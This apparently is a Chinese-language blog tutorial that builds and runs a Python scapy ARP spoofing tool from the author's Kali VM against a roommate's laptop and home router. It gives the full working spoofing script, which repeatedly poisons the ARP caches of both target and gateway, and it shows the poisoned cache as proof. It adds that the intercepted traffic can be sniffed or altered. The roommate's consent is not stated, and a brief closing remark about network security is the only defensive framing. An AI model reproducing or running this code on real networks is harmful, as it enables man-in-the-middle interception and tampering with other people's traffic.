目标

使用scapy库,编写python程序,实现简单的ARP 欺骗。

设备

攻击机A:我的kali虚拟机,ip为192.168.0.101,MAC地址为00:0c:29:c2:5b:4b
靶机B:舍友的笔记本电脑,ip为192.168.0.105,MAC地址为a0:c5:89:84:00:df
网关G:我的路由器,ip为192.168.0.1,MAC地址为b4:0f:3b:77:6d:90

思路

A向B发送ARP欺骗报文,跟B说:“我是网关G,我的MAC是00:0c:29:c2:5b:4b”。

A向G发送ARP欺骗报文,跟G说:“我是主机B,我的MAC是00:0c:29:c2:5b:4b”。

注意,欺骗报文中的MAC地址写的是攻击机A的MAC地址,这会导致B与G缓存的ARP表出现错误,对方ip对应的的MAC地址都将变成A的MAC地址,这将导致B与G的数据包都会先发到攻击机A。

达到了ARP欺骗的目的。

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
//myarp

from scapy.all import *

def getmac(target_ip):
arp_p=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1,pdst=target_ip)
ans=srp(arp_p,timeout=2,verbose=False)
return ans[0].res[0][1][1].fields['hwsrc']#返回mac地址

def spoofarpcache(target_ip,target_mac,source_ip):
spoofed=ARP(op=2,pdst=target_ip,psrc=source_ip,hwdst=target_mac)
send(spoofed,verbose=False)

def restorearp(target_ip,target_mac,source_ip,source_mac):
packet=ARP(op=2,hwsrc=source_mac,psrc=source_ip,hwdst=target_mac,pdst=target_ip)
send(packet,verbose=False)
print("ARP Table restored to normal for",target_ip)

def main():
target_ip=input("Enter Target IP:")
gateway_ip=input("Enter Gateway IP:")
try:
target_mac=getmac(target_ip)
print("Target MAC:",target_mac)
except:
print("Target machine did not respond ARP broadcast.")
quit()

try:
gateway_mac=getmac(gateway_ip)
print("Gateway MAC:",gateway_mac)
except:
print("Gateway is unreachable.")
quit()

try:
print("Sending spoofed ARP responses.")
while True:
spoofarpcache(target_ip,target_mac,gateway_ip)
spoofarpcache(gateway_ip,gateway_mac,target_ip)
except:
pirnt("ARP spoofing stopped.")
restorearp(gateway_ip,gateway_mac,target_ip,target_mac)
restorearp(target_ip,target_mac,gateway_ip,gateway_mac)
quit()
if __name__=="__main__":
main()

攻击

在攻击机A上运行代码:

显示“Sending spoofed ARP responses”。

此时在靶机B上查看ARP缓存。

可以看到,在B的ARP缓存中,攻击机A192.168.0.101和网关192.168.0.1的MAC地址都为00:0c:29:c2:5b:4b,即A的MAC地址,证明成功实现了ARP欺骗。

于是,舍友电脑与路由器之间的交互,会被送到我的虚拟机这里来。如果对此进一步利用,不仅可以实现窥探,也可以对信息进行篡改。

当然这种太过简单的欺骗在现在的技术面前几乎没有实际意义,但也足以看出网络安全是十分重要的。对于各种网络协议存在的风险,一定要及时的防范与规避。